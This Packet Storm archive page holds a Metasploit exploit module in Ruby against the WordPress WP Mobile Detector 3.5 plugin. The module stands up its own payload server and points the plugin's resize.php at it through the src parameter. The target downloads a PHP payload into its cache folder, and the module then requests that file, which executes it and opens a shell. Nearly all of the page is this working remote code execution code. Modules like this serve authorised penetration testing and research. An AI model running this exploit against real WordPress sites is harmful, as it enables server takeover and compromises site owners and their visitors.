exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP Mobile Detector 3.5 Shell Upload

WordPress WP Mobile Detector 3.5 Shell Upload
Posted Nov 3, 2017
Authored by h00die, Aaditya Purani | Site metasploit.com

WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the /wp-content/plugins/wp-mobile-detector/resize.php script does contains a remote file include for files not cached by the system already. By uploading a .php file, the remote system will place the file in a user-accessible path. Making a direct request to the uploaded file will allow the attacker to execute the script with the privileges of the web server.

tags | exploit, remote, web, arbitrary, php
SHA-256 | 78c713af652be903f93b72d84bd37300ff88c13c97f655448730f42c48f8d6a6

WordPress WP Mobile Detector 3.5 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Mobile Detector 3.5 Shell Upload',
'Description' => %q{
WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
to execute arbitrary PHP code. This flaw exists because the
/wp-content/plugins/wp-mobile-detector/resize.php script does contains a
remote file include for files not cached by the system already.
By uploading a .php file, the remote system will
place the file in a user-accessible path. Making a direct request to the
uploaded file will allow the attacker to execute the script with the privileges
of the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'pluginvulnerabilities.com', # Vulnerability disclosure
'Aaditya Purani', # EDB module discovered after writing module
'h00die' # Metasploit module
],
'References' =>
[
['WPVDB', '8505'],
['EDB', '39891'],
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
],
'DisclosureDate' => 'May 31 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-mobile-detectory < 3.6', {}]],
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
end

def check
check_plugin_version_from_readme('wp-mobile-detector', '3.5')
end

def exploit
payload_name = rand_text_alphanumeric(10) + '.php'

# First check to see if the file is written already, if it is cache wont retrieve it from us
res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
)
if res && !res.body.include?(payload_name)
vprint_status("#{payload_name} verified as not written.")
else
fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
end

def on_request_uri(cli, _request)
print_good('Payload requested on server, sending')
send_response(cli, payload.encoded)
end

print_status('Starting Payload Server')
start_service('Path' => "/#{payload_name}")

print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")

res = send_request_cgi(
'global' => true,
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
'vars_get' => {'src' => get_uri}
)

if res && res.code == 200
print_good('Sleeping 5 seconds for payload upload')
register_files_for_cleanup(payload_name)

Rex.sleep(5)

print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
send_request_cgi(
{
'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
})
# wait for callback, without this we exit too fast and miss our shell
Rex.sleep(2)
else
if res.nil?
fail_with(Failure::Unreachable, 'No response from the target')
else
vprint_error("HTTP Status: #{res.code}")
vprint_error("Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close